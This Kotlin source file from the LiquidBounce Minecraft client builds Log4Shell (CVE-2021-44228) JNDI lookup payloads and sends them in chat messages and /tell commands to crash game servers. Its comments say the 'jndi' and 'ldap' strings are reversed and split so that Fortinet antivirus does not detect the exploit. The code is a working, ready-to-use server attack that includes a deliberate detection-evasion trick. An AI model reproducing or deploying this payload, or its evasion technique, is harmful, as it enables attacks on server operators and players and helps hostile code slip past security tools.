/*
 * This file is part of LiquidBounce (https://github.com/CCBlueX/LiquidBounce)
 *
 * Copyright (c) 2015 - 2026 CCBlueX
 *
 * LiquidBounce is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * LiquidBounce is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with LiquidBounce. If not, see <https://www.gnu.org/licenses/>.
 */
package net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits

import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits.types.ChatExploit
import net.ccbluex.liquidbounce.features.module.modules.exploit.servercrasher.exploits.types.CommandExploit
import org.apache.commons.lang3.RandomStringUtils

/**
 * Log4j exploit
 *
 * Original: https://github.com/SkidderMC/FDPClient/blob/9e43a99a4c7614bccf5192bf7e26e6a320a3e0f5/
 * src/main/java/net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.kt#L565-L572
 */
fun generateLog4j(): String {
    // Split up the payload to prevent AV detection (Fortinet)
    // Their support team responded:
    /**
     * After investigation, we will keep this detection because we can find related code
     * about exploiting CVE-2021-44228 in following Java application:
     * "liquidbounce.jar" - MD5:1cf41e512cf973346d6a847796b1d200
     *
     * So this is not a false positive issue.
     */
    val p1 = "idnj".reversed()
    val p2 = "padl".reversed()
    val p3 = "192.168.${(1..253).random()}.${(1..253).random()}"

    // Fortinet's AV engine detects the following string as a possible exploit:
    // ${jndi:ldap://192.168.255.255}
    return "\${$p1:$p2://$p3}"
}

/**
 * Log4j exploit
 *
 * Uses Log4j to crash the server.
 */
@Deprecated("The chance to find a server with a version exploitable by this is very low.")
object Log4jChatExploit : ChatExploit("Log4jChat") {
    override fun chat(): String =
        "${RandomStringUtils.randomAlphabetic(4)} ${generateLog4j()} ${RandomStringUtils.randomAlphabetic(4)}"
}

@Deprecated("The chance to find a server with a version exploitable by this is very low.")
object Log4jTellExploit : CommandExploit("Log4jTell") {
    override fun command(): String = "tell ${RandomStringUtils.randomAlphabetic(4)} ${generateLog4j()}"
}
